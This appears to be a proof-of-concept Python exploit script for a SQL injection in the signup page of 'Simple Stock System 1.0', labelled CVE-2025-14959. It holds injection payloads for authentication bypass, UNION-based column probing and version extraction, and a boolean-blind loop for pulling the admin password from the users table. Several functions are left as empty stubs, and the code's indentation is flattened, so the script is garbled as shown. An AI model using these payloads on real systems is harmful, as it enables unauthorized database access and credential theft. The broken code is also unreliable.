# CVE-2025-14959 SQL Injection PoC
# Target: Simple Stock System 1.0 - /market/signup.php
# Vulnerability: SQL Injection via Username parameter
import requests
import sys
target_url = "http://target.com/market/signup.php"
# Basic SQL Injection test - check for error-based injection
def test_basic_injection():
payload = "' OR '1'='1"
data = {
"Username": payload,
"Email": "
[email protected]",
"Password": "password123",
"submit": "Register"
}
response = requests.post(target_url, data=data)
return response.text
# UNION-based injection to extract database info
def union_injection():
# Determine number of columns
for i in range(1, 10):
payload = f"' UNION SELECT {'NULL,' * (i-1)} NULL-- -"
data = {"Username": payload, "Email": "
[email protected]", "Password": "pass", "submit": "Register"}
# Test and identify column count
pass
# Extract database version, user, and database name
def extract_db_info():
payload = "' UNION SELECT 1,2,@@version,4,5-- -"
data = {"Username": payload, "Email": "
[email protected]", "Password": "pass", "submit": "Register"}
# Parse response for DB info
pass
# Boolean-based blind injection for data extraction
def blind_injection():
# Example: Extract admin password character by character
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for pos in range(1, 33):
for char in charset:
payload = f"' AND SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{char}-- -"
data = {"Username": payload, "Email": "
[email protected]", "Password": "pass", "submit": "Register"}
# Check response for true/false condition
pass
return password
if __name__ == "__main__":
print("Testing CVE-2025-14959 SQL Injection...")
test_basic_injection()